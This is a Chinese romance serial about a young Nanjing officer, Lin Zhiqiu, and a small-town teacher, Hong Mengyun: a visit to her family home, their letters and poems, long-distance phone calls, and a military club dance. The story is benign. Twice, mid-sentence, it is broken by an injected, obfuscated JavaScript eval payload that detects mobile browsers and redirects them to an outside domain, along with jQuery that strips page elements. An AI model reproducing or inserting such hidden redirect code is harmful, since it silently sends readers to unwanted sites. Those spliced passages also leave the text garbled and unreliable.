“停!停!”一阵尴尬间我猛然抓到什么,急忙岔开话题:“徐雅,你分明小我三岁好不?我怎么就成为你表弟啦?” “之秋你好不讲道理!你不是叫玉轩表哥么?玉轩是你表哥,那我就是你表嫂,我叫你表弟没错吧?” “打住!”我终于抓到徐雅的破绽了,“徐雅,你这不是还没过门么?” 梦芸也醒悟过来,“哈哈!明白了!徐雅你这变着法子挤兑我们,感情是你自个儿想早些出阁呀?好事呀,我这就和黄县长说去,让他好些准备,早早迎新人过门呀!” “梦芸!”这下轮到徐雅脸红了。 在一阵笑闹声中,我们向书院走去。 待逛完夫子庙,看看表,已是早间十点半多了。 徐雅自顾自的说着现在回去还早,要不再去哪儿走走;她看了看四周,就笑着对我们说:“这离梦芸家挺近的,逛了大半天都口渴啦。梦芸,你就不请我们上你家坐坐?你家那什么明前龙井,还有君山毛尖,正好让之秋尝尝。” 梦芸有些羞涩的点了点头。“林长官若不嫌弃,自然是欢迎的。” 我心头一热,忙说道:“如此便叨扰了。” “那就走啦,之秋跟上哦!” 徐雅便拉着梦芸走在前头。 穿过老街,沿着宽阔大路走上一段,眼前出现一条小河。河那边有不少民居,白墙青瓦的,其间有好些两三层的小楼,还 有些深宅大院,诉说着曾经的繁华。走着走着,就看见河那边簇簇紫花上露出一个小楼。 徐雅便有些兴奋了,用手指着说:“就到了就到了,之秋你看,那紫藤花上的小楼就是梦芸的家了。梦芸,楼上那窗户里就是你闺房吧?我记得从里头是可以看到小河的。” “徐雅!”梦芸脸有些红了,转过头来有些不好意思的对我说道:“转弯过了前面那桥便是东大街,再走过两个巷口进去,就到了。” “哦,那应该不远的。” 看着梦芸娇羞的样子,我自是装在心里,没话找话的说着:“原来那花名叫紫藤呀,原先在你们学校见过,这城里也有好几处,我在南京城里也曾见到过的,可惜到今日才知道花名,真漂亮!” 徐雅笑着说:“你们男生一般都不知道花名,当然玫瑰花除外。只是现在还不到紫藤大开的时候,若是满树开了,让人看了都舍不得挪步的。” “徐雅说的是,待到月底至下月初,那整片整片紫藤开了才叫美呢。唐时名相李德裕有诗曰:遥闻碧潭上,春晚紫藤开,水似晨霞照,林疑彩凤来。” “哦?”我一听就来了兴致,“闭眼一想诗里说,端是如此。” “可惜之秋你下午就要回去了,看不着了,再来得明年了。” “这个无妨,明年花开时我再来不就是了?按那孟浩然诗里说的,还来就菊花,哦,该是就紫藤,不就行啦?” “林长官说笑了,您怎么知道花期呢?” “这个还不简单呀,梦芸你可写信告诉之秋呀!” “这倒也是,只是不知林长官的地址。” “待会让之秋把通信地址写下来就行了,之秋,这个没问题吧?” 我听了心里一动,一下子也不知从哪来的勇气,张口就说:“这个可以的,只是之秋那儿信件往来都必须通过一个邮箱,之秋是军人,这个请理解;对了,洪老师喜欢诗词,之秋也喜欢,若是方便的话,可否以书信交流呢?” “林长官若有这个雅好,那就请您多多指点啦。” 让我没想到的是,梦芸似乎没有多想就答应了。 那一刻我们对视了一眼,梦芸脸色又有些红了,我的心也一阵狂跳起来。 “好好好!”徐雅先是一愣,然后就开心说道:“这就是以文会友啦!梦芸,别忘了上回说好的,七月初我去南京置办一些东西,请你参谋,你答应过一同去的,你和干爹干妈说了没?若是还没说,待会儿我来提。” 说笑间,我们已到了梦芸家门口了。 青色条石围成的小院里,是一栋两层的小楼。小楼边上有好几棵紫藤,看上去颇有年头,花儿一串串的开着,散发着阵阵清香。想想若是全部盛开,那该有多美呀!小院四周还种着不少花儿,姹紫嫣红的,甚是好看。 正看着花儿时,梦芸和她母亲一起走出屋来,那是一位富态的夫人,慈眉善目的,举手投足之间,颇有些风度;想必是从大户人家中出来的。 “林长官好!今天真是贵客临门了。这两天老听小芸说从南京来了一位年轻的长官,今日一看,真是一表人才呀。”洪母 笑着就把我们迎入屋内。 “伯母好!之秋只是过来休假几天,也没啥准备,今日贸然登门,还请见谅呀。”我有些怪不好意思的,这是实话实说。幸好徐雅机灵,顺路买了一些水果糕点,否则就太失礼了。 “林长官这是说到哪里去了,您大老远的从南京过来,还能抽空来家里坐坐,我们高兴还来不及呢,请入座,入座。小芸,还不快泡茶去!” 我四下看了看,这是一间宽敞的堂屋,明亮又整洁。 屋内上首是一四腿长方榻,两侧有梅瓶和花架,花架上摆着兰花,两边墙上挂着木刻的画屏;下首是两两对称的雕花方椅和茶几,看得出这是一个殷实之家。客厅两侧各有一个小间,一间里有套雕花的圆桌椅,另一间墙上挂着耶稣画像,家里应该有人信教。 我和徐雅便笑着在下首的方椅上入座了。 “请问林长官是哪里人氏?府上可是在南京?” “之秋是广东人氏,家却是在汉口。” “汉口?好地方呀!那可是九省通衢之地呀。不知林长官府上可有家人经商?您是一人在南京么?” 徐雅在一旁插话了:“干妈,您是不晓得嘞,之秋父亲早年追随中山先生入了同盟会,民国十六年后才退出政界转为经商。现在只有他姐弟二人在南京政府里做事,还有一兄长在南京开公司呢。” 这个徐雅,怎么这么爱说话呀! 徐雅还不停地说:“这是玉轩告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592261|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉我的,之秋,我没说错吧?” 洪母眼里有些吃惊,却依旧笑眯眯的问道:“林长官原来是名门之后呀!难得这么年轻有为!不知林长官今年贵庚几何呀?” 得,看这徐雅把话题引的。我只好实说:“贵庚不敢当,之秋是壬子年生人,虚度年华二十六载。” 洪母一听便有些喜色,正要开口,梦芸端着茶具上来了,抢先说道:“姆妈!您这是查户口么?下一句是不是还要问可否成家?林长官可是以国事为重的。”说着说着,不觉就脸红了。 洪母听了也笑了,“好好好,你们年轻人聚聚,我到后边去就是了。” 待洪母下去后,徐雅在一旁大乐,却又不敢笑出声来。“之秋,之秋......你看我这干妈......这怎么有些那个,那个丈母娘看女婿的味道!笑死我啦!你们一个二十六,一个二十二,一鼠一龙,呀!好般配的!上吉,上吉!” 这下把梦芸给急的,“徐雅!你再乱说我可就不理你了。” “好啦好啦,不说就是,不说就是啦!” 徐雅一边笑着,一边还对我挤了挤眼睛。 我一时自是有些难为情,忙端起茶碗,掀盖喝上一口,说了声好香,转头一看,梦芸那一脸娇羞,又惊了我的心房。 又坐了一会儿,正准备告辞,就见洪母用托盘端着一碗点心走上来,笑眯眯的说道:“林长官初次光临寒舍,按礼数自是要招待一二,可听小芸说您下午就要回程,且午间黄县长已安排了饯行,这才冒昧煮了一碗鱼鲜羹,林长官多少用一些哈。” “这怎么好意思?尽给您添麻烦了。” “林长官客气了,这是老身亲手做的,快尝尝,就不知是否合口?” 看着洪母热切的眼光,我只好坐下,徐雅在一旁又乐开了。 我拿起汤勺尝了一口,这可是真鲜呀。“真好吃!伯母厨艺可真好!” 洪母便笑得有些合不拢嘴了,满眼是慈祥的目光。 “合口就好,合口就好!林长官您请慢用!” 洪母下去后,我一个人坐在那儿吃那鱼鲜羹,就见徐雅在一旁笑眯眯的看着,而梦芸则略低着头,那脸都快红到脖子根了。 我便有些纳闷,难不成这鱼鲜羹有什么说法? 徐雅见我这个样子,又看了看梦芸,开心的笑着说:“之秋你可要整碗都喝了哦,这可是专门为远方来的客人准备的,干妈厨艺好好的!” 有这风俗?好吧,那我就一人享用吧。我边喝边看了看梦芸,目光一交错,她脸埋的更低了,让我心里又是一热。 喝完鱼鲜羹,看看时间,差不多回去了。 梦芸和洪母送我们到门口,徐雅就问:“梦芸,你真的不和我们一同过去?” 梦芸便微笑着说:“不去了,黄县长那儿少不了觥筹交错的 ,这个对梦芸来说可是勉为其难,你们尽兴就好。” 洪母用赞许的眼光看了看梦芸,笑着对我们说道:“林长官,徐小姐,小芸向来是不胜酒力,这个真不好意思,由她去吧。对了,林长官,您是几点的车呀?什么时候回到南京?” “午后一点半的,路上还得歇息一晚,回到南京应该是明日午后了。” “这么远啊?今日小芸她爸不在,家里也没啥准备,招待不周;今后林长官若是再来小城或是路过什么的,不妨弯进来一趟,给老身一个机会,下厨烧几个小菜,让林长官尝尝。” “好的好的。就怕到时要叨扰伯父伯母。” “林长官客气了,您若是能来,我们一家高兴还来不及呢。” “之秋这也有个不情之请,伯父伯母若得空到南京,不妨事先和在下说一声,南京可是个好地方,像中山陵,牛首山,玄武湖,秦淮河,还有夫子庙什么的,都可以逛逛,也好让之秋尽一下地主之谊。” “好的好的,若真得空,我们带着小芸一块去。”洪母笑着拍了拍梦芸的手,梦芸便有些害羞的低下了头。 “干妈,七月初我要拉梦芸去南京一带走走的,前后大约要十来天吧。梦芸答应做我伴娘,这回去置办一些东西,请梦芸帮我参考参考。” “这样啊?老身这要先说恭喜啦,这南京一行,小芸当去!” “那就说定啦!谢谢干妈!这个点了,那我就先带之秋过去啦。” “好的好的,林长官再会!” “伯母再会!洪老师再会!” 我依依不舍做了道别,和徐雅向大街走去。 到了巷口回头一看,梦芸一人还站在院门外,见我回头,掏出了手绢,使劲的挥了挥,然后那手绢便停在空中了;我就觉鼻子一酸,古人说多情自古伤别离,原来是真的。然后就自顾自的笑了,之秋呀之秋,你这是喜欢上人家了。 我对着那倩影心里暗暗说着:梦芸,我走了,期待早日南京再见! 7. 长途电话 回到南京,又出差数日。 我这才发现那颗心已留在小城,别的不说,梦芸居然接连入梦来。 而且醒来之后,居然会恨梦短,然后笑自己痴了。就觉得有好多话想和梦芸说,却又不知该如何说,不说又觉得心里憋着什么似的。 最终还是鼓起勇气,提笔给梦芸去信。 这可是我第一次给女生写信! 梦芸吾友: 见信如晤。小城一别,甚为挂念,人在金陵,数度梦回。 前两日外出,恰逢风雨大作,船暂停渡,见油菜花甚美,感触甚多。遂填浣溪沙一曲,以博一笑。 梦里笑容又眼前,停船坐看水连天。不觉离愁似经年。 茫茫前路多风雨,渺渺群山几云烟?无语看花花满田。 之秋 四月十六于金陵 信发出之后,却有些后悔,怪自己怎么就冲动了呢? 然后是连着几天有些心神不定,白天还好,晚间回到宿舍,那感觉就如同在野外迷途似的,不知该往何处;好期盼梦芸的回信,又怕收到梦芸的回信。我贸然去信,还乱填词来着,那词填的不但有失工整,而且还有撩人的嫌疑,不知梦芸会如何看我呢? 我忽然想到一个词,登徒子,然后就暗骂自己,怎么这么草率呢? 只是没想到梦芸的回信很快就到了。 那日在处里上班,临近中午时办公室的刘秘书进来送报纸和信件,我正埋头整材料,就听刘秘书好奇的说着:“咦,林之秋,有你一封信,地址内详!” 我抬起头看着刘秘书,一时有些蒙了。不留地址?这怎么回事? 刘秘书笑着说:“这可是有些难得,我记得之秋你以往的来信多是汉口的,今儿个居然有内详,这有情况呀。” 那一刻,我就觉得有好几双目光向我投来。 这刘秘书真是不嫌事大! 我急忙从她手中接过信件,一看邮戳,这该不是梦芸来信了吧? 此时同科的吴参谋帮我解围了:“刘秘书,你什么时候开始关心之秋信件的发送地址啦?该不是喜欢上我们之秋啦?” “吴参谋你可不好乱说,人家之秋有女朋友,是军医。”刘秘书说着说着脸就红了,然后飞一般的逃了。 我对吴参谋竖了一个大拇指,笑着把来信收进抽屉。 梦芸来信了!还这么快!信里都说了些什么?我便急切期盼午间下班。 下班后午餐就随便吃了,然后匆匆回到办公室。 用小刀把信封小心的拆开,拿出信纸,就觉心里一阵狂跳似到嗓子眼。 我深吸了一口气,打开了信,两行隽秀的字迹就出现在眼前: 人生一道同风雨,芸书有幸伴春秋。 洪 四月二十二 我反复读了几遍,就觉得一股幸福的暖流跑遍了全身!仿佛眼前就出现了梦芸羞羞的笑容,耳边就有梦芸甜甜的声音。 梦芸,你这是接纳之秋了么? 是的,一定是的! 前一句“同风雨”,这是说要共同面对一切了,后一句首尾分别是“芸”和“秋”,这不是我们俩名字中的最后一个字?有幸伴春秋?梦芸,之秋若得你相伴,亦是三生有幸矣! 梦芸这儿还引用了两句唐诗,王昌龄和孟郊的,真是有才呀。 我正开心着,就听门外传来一阵脚步声,急忙把来信收入书桌抽屉中。 吴参谋他们几个午餐后回来了,见我已在座位上了,其中一人便有些好奇的对着吴参谋说:“明远,你看今天之秋可不寻常,这么早就回来了,刘秘书说得没错,真是有情况。” 我听后有些急了:“这说哪去啦,我这是上午材料还没弄好,处长那要早些看到报告的。” 吴参谋便笑着说:“好啦好啦,我们就不打搅林参谋写报告了。” 说着说着他们几个就到一边聊去了,虽然放低了声音,我还是听的清楚。 “哥几个,这回真是林参谋女朋友来信了。” “哦?明远,那刘秘书不是说之秋女朋友是军医,我们都在舞会上见过的。” “亏你这思维,还呆在参谋本部?” “我觉得也不是,那军医同在南京,干嘛写信,还内详?有事打电话不就得了?写信的才是真的女朋友......” 听着他们交头接耳,我心里自是满满的幸福。对呀,打电话,这个我怎么没想到?没有电话号码?写信过去问就是了,约好时间,这不就得了? 当天晚间,我就坐在灯下给梦芸去信。 梦芸很快就回信了。小城学校里只有校长办公室哪儿有部电话,自是不甚方便;我这上班期间也不好聊私事,要打电话只能打宿舍门房,梦芸要打电话还得去电话局打长途。不用说,那电话费好贵的。 接下来一个多月,我们之间的通信每两周一个来回。我的信件周日发出,梦芸五天左右就能收到,我再收到回信是下个周六了。这期盼的感觉,真好。 梦芸来信说可以多探讨一些诗词,这下我可来劲,每周去信必有一首,或新体诗,或填词过去,正好可以倾诉衷肠;梦芸 也时有回应,让我开心不已。 又是一个周六,中午却没接到梦芸回信。 不对呀,梦芸这是怎么回事?是有什么事推迟回信了还是?该不是有什么状况不成?我忽然发现,心有些乱了。 要是有梦芸的电话该有多好啊! 下午没啥事情,我便期待着下班时间早些到来。 晚间同事小聚,自是没啥心思,找个借口推脱不去便是。 下班后匆匆找个小店胡乱吃过晚饭,回到宿舍正要提笔写信,就听门房大爷那喇叭在喊:“林之秋,林之秋!长途电话!” 门房大爷叫人时从不说电话来自哪里,多年下来,大家都习惯了。 长途电话?该不是汉口家中有什么事吧?以前母亲打过一个长途。我应了一声,慌忙放下手中笔墨,三步并作两步的跑下楼去,拿起话筒就说:“喂?是母亲吗?我是之秋。” 电话那头一愣,然后就格格笑了起来:“不敢当,不敢当,我是洪梦芸。” 梦芸?她怎么会来电话?我一下子还没反应过来,就听对方说道:“怎么,是惊了林长官了么?” “梦......洪老师,是你吗?真的是你吗?” “怎么,不欢迎么?” “欢迎,自是欢迎!我只是没想到会接到你的电话。这,这也太有些意外了。”其实那刻我心里想说的是,这是天大的惊喜呀! “只要没惊到林长官就好!”电话那头又笑了。 “哪能呢?对了,洪老师,你就别再叫我林长官了,直接叫之秋,好不?还有,别再用那个您可好?这听起来有些距离呀。” 电话那头安静了片刻,似乎还有些喘息,然后传来甜甜的声音:“好的,以后我这就直接叫之秋了,您......你也不用叫洪老师,直接叫名字可好?” 这幸福也来得太突然了。我顿时呼吸也有些急促起来。 “喂,喂,听得到么?之秋,你好吗?怎么有些喘息声呢?” “我挺好,刚才一听长途,以为家中来电话了。这不就从楼下冲下来了。” “哦,听到了,听到那门房的大喇叭了,这该不会惊动很多人吧?” “还好啦,这个点大多数人都在外吃饭,今天是周六,晚饭后一般都有节目的,通常没那么早回来。对了,梦芸,你怎么会给我打长途呢?还好我今天没出去。你这是在哪儿打的电话呀?你来南京啦?” “还没呢,我还在小城。就是记着某人说可以打电话的,最好时间是周六晚7点以后,打到宿舍找门房叫人,想想今天会不会在呢?就到电话局来试试运气,没想到居然就试成了。”梦芸那头开心的笑了。 梦芸这是打长途电话呀! 我暗自吐了一口气,心说还好没有和同事们去喝酒,要不这电话就接不到了;庆幸之余,便学着梦芸的口气回道:“我这还不是没收到某人来信,晚间没事,正准备写信去问呐。” “别问啦。要问为什么,就来梦里吧。来吧,到我的梦里!许你春光明媚,看那花开十里;来吧,到我的梦里!看着笑脸盈盈,听那吴音软语;来吧,到我的梦里!我歌,你舞,久久相依......” 这不是我上周去信时写的?听着梦芸在电话里吟诵,我的心都醉了。 “之秋,在听么?” “在的,在的!梦芸,我那一时兴起乱写的,你怎么就读上了呢?” “人家才不管呢。反正,反正那晚就梦见某人了。”梦芸那声音就小了下去,“人家,就想听听之秋的声音。” 我一下就明白了,梦芸之所以没来信,就是想和我通话了。 “梦芸,我也想听到你的声音。” “真的?”电话那头的梦芸应该是满脸的欣喜了,“这些日子,不知怎的,老是会想起某人来。譬如他现在是不是穿着军装呢?他穿着军装是啥样子?宿舍离单位远吗?下了班后,他一般在忙些什么呢?有时想着想着,就有些痴了,然后就好想听到他的声音,哪怕只有几分钟,也是好的。哎呀,不好了,预约的时间到了,之秋,我们下周......” 电话里传来“嘟-嘟-嘟”的声音,掉线了。 我一看时间,梦芸那是预约了5分钟长途电话,时间一到就被下线了。 我自是有些意犹未尽,可是一转念想想那长途电话费,就有些头大。 梦芸是小学教师,月薪约在50元左右,已算不错了,而我虽为军官,加上各种补贴什么的也不到60元。梦芸这5分钟的长途,不得4元起?一个月的薪水是打不起一个小时电话的。 坐在灯下给梦芸去信,虽然刚通了电话,但似有千言万语想说,然后梦芸的笑脸就不时浮现在脑海里。我忽然发现,我这是真爱上梦芸了。 又是一周过去 ,我自是无比期待周六的到来。 周六中午却依然没有梦芸的来信,这不都两周了? 想想上周梦芸电话里最后未说完的一句,她这是又要打长途么?我不由心里有些埋怨起来:这个痴情小傻瓜呀! 好不容易熬到晚间下班,匆匆吃过晚饭,便急急往宿舍跑。 到了宿舍一看手表,居然离7点还有二十几分钟,随手抓起一本书看着,却是看不进去了;离7点差五分便下楼去,然后装着没事在院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592262|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里闲逛。 听那门房电话铃声一响,便竖起耳朵,找的居然不是我,而且不在。 我小吁一口气,却又有些担心,该不会再来找其他人的电话吧?虽然这个点宿舍里没有几个人,可是万一有别人电话进来呢? 那就最好快快说完,要不就这一部电话,梦芸打不进来,我会急的。 可是一直等到快7点半了,电话铃声却再未响起,天色也黑了下来。想着梦芸应该不会来电话了,心里便有些失落,转身上楼去。这楼梯才上到一半,就听那电话铃声一响,然后就听门房的喇叭喊了起来:“林之秋,林之秋!长途电话!” 我以前对这位门房大爷的喇叭是颇有怨言,觉得有些扰民;可今天一听,居然是那样顺耳,如同仙乐一般,我急忙应了一声,然后飞快的跑入门房。 门房大爷一见我就乐了,嘴里嘟嘟的说着:“我这纳闷呢,刚才不是还在外面逛着,怎么一转眼人就不见了?” 我有些不好意思的笑了笑,急忙接起电话:“你好!我是之秋。是梦芸么?” 电话那头梦芸又是格格的笑了起来。“我是梦芸。听到啦,听到啦,又听到那大喇叭了。之秋,您,你这是一直在等电话?” “当然啦,都等半个多小时了。” “呀,都等半个多小时啦?我这一直在排队,好不容易才排到的,都快急死人了。之秋这是为了等电话,一直在大院里逛着么?” 梦芸这么一说我立刻就明白了,因线路有限,彼时的长途电话遵循一条不成文的规则:民让商,商让官,小官让大官,大官让军方;这电话局的长途电话也是不好打的。 我眼前仿佛出现了梦芸在电话局焦急排队等待的身影,让人好生怜惜的感觉,又似有一股暖流,涌上心头。 “没事没事,我这就是饭后散步,散步而已。” “还散步呢!我都听到啦。之秋,我收着那来信了,就忍不住又想打电话了,又是一周过去了,能听听你的声音,自是极好的。” 我一听心都化了,如夏天的蜜糖化在冰水里一般,说不出的甜蜜。 “梦芸,我也想听你的声音。你那长途间的电话号码是多少,我打回去。” “不用啦,这一来回又不知要等上多久。” “可是梦芸,总不能老是让你打长途呀?那长途电话费好贵的,你一个月的薪水能打多少电话呀?恐怕一个小时都不够吧。” “换成某人就够啦?我怎么听说林长官的薪水也不高呢?还是我打吧,我爸可是做些生意来着,他每个月都塞一些钱给我零花。这么说我可是比某人阔绰些喽。” “好啦好啦,你是大小姐,可是再有钱也不能帮电话局发工资呀?” 梦芸那又笑了。“之秋,你可真幽默呀,知道帮人家省钱。好啦,就隔一周打一次,好不?而且这通话时间有限制的,每次最多五分钟,这都五月底了,最多再打两次,不就要去南京啦?” 我听了心里自是一阵狂喜,不觉中说话声音都有颤抖了。 “梦芸,你真的要来南京?” “是真的,上回不是说好啦?七月初和徐雅一同去南京的。徐雅说先找个周末过去,周日之秋有空就陪我们一天啦。” “怎么,才周日一天?不多玩上几天?我好提前请好假的。” “这可是小秘密哦!到时候再告诉你啦。” “还有什么小秘密呀?该不是徐雅那又有啥安排?” “徐雅说得对呀,再说你那军务应该是挺忙的,怎好多请假呢?对了,之秋,接下来可要好好介绍一下南京,人家可是第一次去的,有什么好看的,好玩的,好吃的,好买的,可以分几次写信告知哦。” “好的好的,我这就去准备,还要加上好逛的,都说女孩子爱逛街,爱买东西来着。” 我心想这功课有得做了,得找一些有名气的地方,若有什么历史典故,名人趣事,都得好好搜集搜集。 “这个呀,我倒是可以给徐雅参考参考的,她不是要到南京采买?” “我倒是把这茬给忘了。” “还有,你那附件有照相馆么?” “有的有的,不远就有一家,不过技术不咋的。说起照相馆,还得石板桥那家光华照相馆,技术好,名气大。梦芸,你这是想来南京照几张相么?” “人家只是随口一问啦。不过若是之秋有时间,届时可以,可以和我们一同去照相。” 一同去照相?我心里自是一阵欣喜,这好事呀!我还想着什么时候手中有梦芸的相片,该有多好啊! “那时间一定得有!” “真的呀?就怕某人到时候抽不出空来。” “怎么会呢?这哪跟哪呀,之秋这可以拍胸脯保证的。” “好啦好啦,我相信的。呀,时间又快到了,之秋,梦芸想着你。” “梦芸,之秋也想着你。” 忽然间,两个人就没话了,就静静的听着对方呼吸的声音,很快的,嘟嘟嘟的掉线声又响了起来。 我放下电话,虽然略有些失落,但很快就觉心情好好。 我开心的告诉自己:梦芸要来南京了! 还有一个多月就来南京了! 8. 内部舞会 期待已久的梦芸南京之行,终于来了。 七月三号下午我提前请好一小时的假,然后就耐心的等着。 下午5点还不到,就接岗亭卫兵那来电说有两位女士来找我。 我自是激动,三步并作两步就出去了。 远远就看见徐雅和梦芸站在岗亭外向我招手,徐雅是一身天青色的暗花旗袍,而梦芸是白色的碎花旗袍,两人都戴着有小圆礼帽,颇有淑女风度,别有一番风景。 “徐雅,洪老师,你们来啦!” “还叫什么洪老师呀?之秋,不是我说你,你早就该直接叫梦芸啦。” 徐雅一如既往,梦芸听了却是微微一笑,那是一笑倾人城! “呦呦呦,瞧你们俩!” 徐雅又是一句,搞得我和梦芸都有些不好意思了,我急忙岔开话题:“你们俩是刚到的么?” “我们从省城过来,昨晚到的,早上就陪着徐雅去看婚纱、订旗袍了。” “哦?那要恭喜徐雅了。” 徐雅有些得意。“玉轩调令已下,本月13号报到。这回梦芸陪着过来,可人家心里就想着某人还要上班,特意不告诉他的。梦芸你看啊,我说得没错吧?之秋穿军装可是帅得不要不要的。” 我摸了摸头,有些不好意思的说:“只是合身罢了。” 说话间,我注意到梦芸眼里分明有炙热的目光。 “这回时间短,后天早上就要回去准备省城的新房。我已和梦芸约好了,15号左右还会再来一趟南京采买一些物品,梦芸做参谋,计划要四五天。之秋,到时候你若方便,要多请几天假,好好陪我们家梦芸。” 这样啊?我原本以为她们只来南京过个周末,一听说月内还要再来个四五天,心里暗自高兴,那要好好安排一下。 “那感情好,我届时应该还是可以请上两天假的。”我笑着回答,心里默算一下时间,加上周日便有3天了。 “你们这周末通常怎么安排呀?”徐雅就直接问了。 “也没什么安排,一般是周六下午有事的可以请假提前1小时离开,下班后常常约几个朋友打打球什么的,或者几个兄弟一起下个小馆子。周日一般是整理一下内务,然后上街逛逛,或者到附近走走,爬爬山什么的,下午五点前要返回。对了,每隔两周,军人俱乐部那边会组织周六内部舞会。” “军人俱乐部?周六内部舞会?好棒呀,之秋,今天就是周六呀,今晚就有舞会吧,你不带我们去开开眼么?” “徐雅,你怎么连这个都知道?”我忽然隐隐觉得好像是上她的套了。 “这又不是什么军事机密,好多人都知道的。对了,梦芸我和你说呀,咱家之秋啊,这方面可是小有名气哦。” “哦,是什么呀?小女子愿闻其详。” “梦芸你别听她瞎说,哪有什么名气啊?” “这可不好藏着掖着的。梦芸,他有个雅号,‘探戈王子’。” “什么什么?糖哥王子?之秋,是说你嘴很甜么?” “梦芸,这说哪去了,怎么和嘴甜扯上了?” “糖哥,糖哥,糖不是甜的么?糖哥王子,想必就是嘴甜之帅哥了。” “这个糖哥啊?哈哈哈!梦芸你笑死我啦。”徐雅一副笑岔气的样子,“不过也对,之秋的嘴挺甜的。” “不是糖哥,那又是什么?徐雅,快和人家说说么。” “哈哈,梦芸,我和你说,不是那个糖哥,是探戈,T-a-n-g-o,英文名翻译过来的,是来自美洲的一种双人舞。对了,之秋,你这个名头该不是偶然得来的吧?老实交代,你是不是那舞会的常客呀?” 我听了却是有些纳闷,这是谁呀?吃饱撑的,搞出这个雅号? “冤枉呀!那个舞会我一年都没去几次的。我还纳闷呢!还王子?这是谁封的呀?我怎么没听说过呢?” “人家当然不会当面和你说啦。对了,之秋,你是不是在舞会上只跳探戈?” “是这么回事呀。” “你是不是还有一个固定舞伴,姓张的军医?” “固定舞伴?没有啊。不过说起探戈,女生中好像只有张军医跳的好,可是,可是每回都是她主动约我的呀,徐雅,你这都哪来的消息?” “这个你别管。那军医怎么每回都约你呢?”徐雅有些得理不饶人了。 “那舞我们练过的呀!张军医小时候上过教会学校,在学校学了不少。当时我们住在一个院子里,一起玩的,就常被她抓差练习,便有些基础;来南京后学探戈,她觉得这舞有难度,还是和熟人跳着好。” “呦,小时候就在一起啦,梦芸,我和你说这叫什么来着,青梅竹马。” 得,这徐雅八成是从表哥那听说什么了。我可是有些急了,忙解释道:“梦芸你别听她的,那个张军医呀,就是她把我当闺蜜,我把她当兄弟那类的。” “之秋,你这怎么扯上我呢?这和我没关系呀。” “还说没关系,梦芸,我看这关系大着呢。”徐雅有些坏坏的笑着,“所以呢,我们一定要去看看的。” “可那是内部舞会呀,一般都是军人和家属才参加的,而且家属参加还要凭邀请券的。” “哼,林之秋!你这分明是不想让我们参加呀。我问你,你叫我什么?”徐雅气鼓鼓的叉起了腰。 “叫表嫂呀。” “这不就得了,梦芸是我妹妹,我们两不可以是军人家属么?” “这个家属呀?可是,可是……” “没有什么可是的!再说,只要有邀请券就能入场,卫兵不查户口吧?” “这到是没有。” “那就行啦,之秋,你看我们大老远来趟南京多不容易呀,尤其是梦芸,她可是第一次参加舞会呢。” “哦?第一次?梦芸你以前没有参加过舞会?” “林长官您说笑啦,我们那小地方,哪来舞会呀?以前读师范的时候,倒是听说有钱人家的太太、小姐时髦参加舞会而已。” “我怎么又成了林长官啦?梦芸,不是说好叫我之秋的么?好啦好啦,那个邀请券我负责去弄就是,我才说今儿两位打扮这么漂漂亮亮的。” “这才是我的好弟弟呀,参加舞会,我们负责貌美如花就对啦。” “好吧,我又成弟弟了。” “谁让我是你的表嫂呢?梦芸,你看我这么说没错吧?对了之秋,晚间请我们吃什么呀?” “第一次请两位,要不去吃西餐?有家福昌饭店挺不错,要乘电梯上去;还有家金陵春在秦淮河边上,只是现在这个点,不知还订得到位置不。” 我嘴上这么说,心里却有些懊恼起来:怎么忘了提前预定晚餐呢? 虽不知晓她们俩的口味,提前预定总是没错呀。 “之秋,随便吃一点就好,听说南京小吃挺多的。”梦芸笑了。 “对对对,吃小吃去。那个什么金陵春,就放在明晚吧。”徐雅笑着说,突然就在我耳边轻声说了一句:“明天是农历五月廿六,梦芸的生日,就你们两人去,别怪表嫂没提前告诉你哦。” 我颇为感激看着徐雅,不是说十五号左右要来四五天,怎么还特地提前跑一趟来看婚纱和订旗袍,原来徐雅是给我创造机会呢。 “徐雅,你又和之秋说些什么呢?还耳语来着?” 徐雅一边对我挤眼睛一边笑着说:“没什么啦,说说某人的胃口啦。” 某人的胃口?上回在小城一起吃过馄饨,还有一起包过饺子。 我猛地就反应过来,想想前期准备的功课,便笑着说:“府西街有家刘长兴的小笼包挺不错的,离夫子庙也不算远,堪称一绝。听说那肉有讲究,须用安庆来的猪,包子是通透的,花纹有讲究,有24道;食用时更是有讲究,须‘轻轻移,慢慢提,先开窗,后喝汤’,最后再吃肉。” 梦芸一听就掩嘴笑了:“原来某人也是好吃的,这么清楚!不过既然来到金陵,自然是要好好尝尝当地特色,那就麻烦带个路?” 晚饭后到了俱乐部,我身边两位美女就引起不少男生注意,一问原来是我的表嫂和她的闺蜜,好几位男生就把重点放在梦芸身上,只因梦芸推说不会跳才作罢。徐雅倒是来者不拒,一连跳了好几圈;我呢,自然是陪着梦芸,喝着汽水当看客了。 “之秋,你怎么不去跳舞呢?不用在这儿陪着我,今天晚上我就是来开眼界的。”话虽这么说,我从梦芸的眼里还是看出了渴望。 “没事的,我也是好些日子没跳了,要不,我来教你?” “真的?可是,梦芸不会跳,这儿人这么多,他们跳的多好呀,要是让你带着一个不会的上去,不是挺难堪?” “这倒也是。”我忽然有了主意,“这儿挺热,要不我们去外边?梦芸不会,之秋教便是了,外边没人注意,这样可好?” “嗯。可待会徐雅回来,不见了我们,这不好吧?” 